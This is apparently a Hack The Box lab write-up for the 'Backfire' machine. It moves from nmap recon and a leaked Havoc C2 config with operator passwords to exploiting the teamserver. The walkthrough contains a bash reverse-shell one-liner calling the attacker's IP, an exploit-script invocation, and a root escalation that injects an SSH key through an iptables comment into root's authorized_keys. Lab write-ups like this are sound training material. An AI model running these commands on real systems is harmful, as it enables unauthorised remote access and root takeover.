Backfire - Hack The Box Machine
May 2025
User Flag
Starting with an nmap:
nmap -A 10.10.11.49
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp open ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=partners inc/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-10-29T16:22:39
|_Not valid after: 2027-10-29T16:22:39
| tls-alpn:
|_ http/1.1
8000/tcp open http nginx 1.22.1
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 12:31 disable_tls.patch
| 875 17-Dec-2024 12:34 havoc.yaotl
|_
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Visiting the nginx server on port 8000, I downloaded the 2 files disable_tls.patch and havoc.yaotl.
havoc.yaotl:
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
disable_tls.patch:
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
python3 exp.py -t https://backfire.htb -i 127.0.0.1 -p 40056 -U ilya -P CobaltStr1keSuckz!
Open a listener nc -lvnp 4444:
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
Enter command to execute: bash -c 'bash -i >& /dev/tcp/10.10.16.88/4444 0>&1'
Got the shell on the listener and printed the first user flag.
Before heading to root, I realized I first need to get access to the sergej user.
Getting an admin account, and going to the /ImplantInteract endpoint, spawn a terminal and typing id we get the following output:
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)
Which confirms this service is being ran by sergej. To get a shell to this user, I simply ran the same reverse shell command bash -c 'bash -i >& /dev/tcp/10.10.16.88/4444 0>&1'.
Root Flag
Now that we have access to the sergej user,

ssh-keygen -t ed25519
cat .ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'*/\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire\n/*'
As we can see by running sudo iptables-save, the rules were poisoned with the generated public key
# Generated by iptables-save v1.8.9 (nf_tables) on Fri May 2 13:08:15 2025
*filter
:INPUT ACCEPT [27:2136]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [21:2914]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "*/
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire
/*" -j ACCEPT
COMMIT
# Completed on Fri May 2 13:08:15 2025
sudo iptables-save -f /root/.ssh/authorized_keys